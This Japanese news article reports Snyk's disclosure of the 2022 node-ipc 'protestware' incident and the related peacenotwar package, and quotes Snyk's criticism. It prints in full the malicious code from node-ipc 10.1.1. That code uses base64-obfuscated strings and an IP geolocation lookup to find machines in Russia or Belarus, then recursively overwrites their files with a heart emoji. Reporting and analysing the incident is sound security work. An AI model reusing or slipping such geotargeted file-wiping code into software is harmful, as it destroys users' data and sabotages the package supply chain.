オープンソースで開発される、ウェブアプリのUI構築用JavaScriptフレームワーク「Vue.js」のコードに、ロシアとベラルーシに在住する開発者を標的とした悪意のあるコードが追加されたと、開発者向けセキュリティプラットフォームのSnykが発表しました。メンテナーの1人がロシアのウクライナ侵攻に対する抗議行為として、問題のコードを追加したことがわかっています。

Alert: peacenotwar module sabotages npm developers in the node-ipc package to protest the invasion of Ukraine | Snyk

https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/

Sabotage: Code added to popular NPM package wiped files in Russia and Belarus | Ars Technica

https://arstechnica.com/information-technology/2022/03/sabotage-code-added-to-popular-npm-package-wiped-files-in-russia-and-belarus/

Snykはセキュリティインシデントとして、「CVE-2022-23812」と「SNYK-JS-PEACENOTWAR-2426724」を報告しています。

ウクライナ時間の2022年3月7日に、npmメンテナーであるRIAEvangelistことBrandon Nozaki Miller氏がNode.jsモジュール「node-ipc」のバージョン10.1.1を公開しました。このバージョン10.1.1には、以下のコードが追加されていたことが判明。このコードはロシアあるいはベラルーシのIPを持つユーザーを対象として、ファイルの内容を消去してハートの絵文字に上書きしてしまうというものでした。

import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
const t = Math.round(Math.random() * 4);
if (t > 1) {
return;
}
const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
o.get(n.toString("utf8"), function (t) {
t.on("data", function (t) {
const n = Buffer.from("Li8=", "base64");
const o = Buffer.from("Li4v", "base64");
const r = Buffer.from("Li4vLi4v", "base64");
const f = Buffer.from("Lw==", "base64");
const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
const e = Buffer.from("cnVzc2lh", "base64");
const i = Buffer.from("YmVsYXJ1cw==", "base64");
try {
const s = JSON.parse(t.toString("utf8"));
const u = s[c.toString("utf8")].toLowerCase();
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus
if (a) {
h(n.toString("utf8"));
h(o.toString("utf8"));
h(r.toString("utf8"));
h(f.toString("utf8"));
}
} catch (t) {}
});
});
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
if (!a.existsSync(n)) {
return;
}
let r = [];
try {
r = a.readdirSync(n);
} catch (t) {}
const f = [];
const c = Buffer.from("4p2k77iP", "base64");
for (var e = 0; e < r.length; e++) {
const i = u.join(n, r[e]);
let t = null;
try {
t = a.lstatSync(i);
} catch (t) {
continue;
}
if (t.isDirectory()) {
const s = h(i, o);
s.length > 0 ? f.push(...s) : null;
} else if (i.indexOf(o) >= 0) {
try {
a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with `❤️`
} catch (t) {}
}
}
return f;
}
const ssl = true;
export { ssl as default, ssl };

サンドボックスでシミュレートしたデバッグの結果が以下。



node-ipcは、ウェブアプリのUI構築用JavaScriptフレームワークであるVue.jsなどの多くのプロジェクトに依存されているため、こうした悪意のあるコードの影響は計り知れないものがあります。もしnode-ipcを呼び出すシステムがロシアあるいはベラルーシからアクセスした場合、重大なセキュリティインシデントが発生するとSnykは指摘しています。

node-ipcのリポジトリがホストされているGitHubでは、「パッケージは無関係なことをするべきではない」などの批判が噴出。この議論をきっかけに、問題のコード部分はバージョン10.1.3ですべて削除されました。

これで終わりかと思われたのもつかの間、8日18時に、Miller氏は「peacenotwar」というnpmパッケージを公開しました。このnpmパッケージは、Miller氏によれば「現在世界を脅かしているロシアの侵略に対する非暴力的な抗議」として作成されたとのことで、デスクトップとOneDriveに「WITH-LOVE-FROM-AMERICA.txt」というテキストファイルを作成するというものでした。ただし、当然ながらこのモジュールは3月15日までまったくダウンロードされていませんでした。

そして、その後すぐにnode-ipcのバージョン11.0.0がリリースされました。このバージョン11.0.0からはnode-ipcと依存関係にあるリポジトリにpeacenotwarが追加されており、node-ipcが呼び出されるたびにロシアとウクライナの戦況に関するコンテンツを含むファイルを、ユーザーのデスクトップディレクトリに配置する仕様となったとのこと。

Snykは開発者に対して、node-ipcの使用を完全に停止することを推奨しています。それが不可能な場合は、npmパッケージマネージャーを使用して、バージョン10.1.0以前に上書きして固定することを勧めています。

Miller氏はnode-ipcの他にも40種類以上のnpmパッケージのメンテナーを務めており、ダウンロード数はのべ数億にのぼるとのこと。Snykは「Miller氏の意図的で危険な行為がたとえ一部の人には正当な抗議行為と認められたとしても、そのメンテナーの今後の評判や開発者コミュニティでの利害にはどう反映されるでしょうか? このような行為に及んだメンテナーは、将来参加するどのプロジェクトに対しても、二度と信頼されることはないのではないでしょうか?」と、Miller氏の行動を強く批判しています。

IT系ニュースサイトのArs Technicaによれば、ロシアのウクライナ侵攻を批判する目的でコード内に平和の呼びかけが追加されている事例が多く確認されており、例えば、node-ipcと同じnpmモジュールであるes5-extには、ユーザーがロシアのIPアドレスを持っていた場合に「ウクライナ人の91%は、ウォロディミル・ゼレンスキー大統領とロシアの攻撃に対する彼の対応を完全に支持しています」というメッセージを表示する仕様がコミットされました。



node-ipcやes5-extのように、プロジェクトと関係なく政治的な抗議メッセージを埋め込まれたソフトウェアは「protestware」と呼ばれているとのこと。Snykは「私たちはウクライナと共に立ち上がり、現在進行中の危機の中でウクライナの人々を支援するために、寄付や世界中の開発者への無料サービス、またロシアやベラルーシでのビジネス停止措置を積極的に行っています。とはいえ、今回のような意図的な悪用は、グローバルなオープンソースコミュニティを弱体化させ、影響を受けるバージョンのnode-ipcにセキュリティ脆弱性を与えかねません」とコメントしました。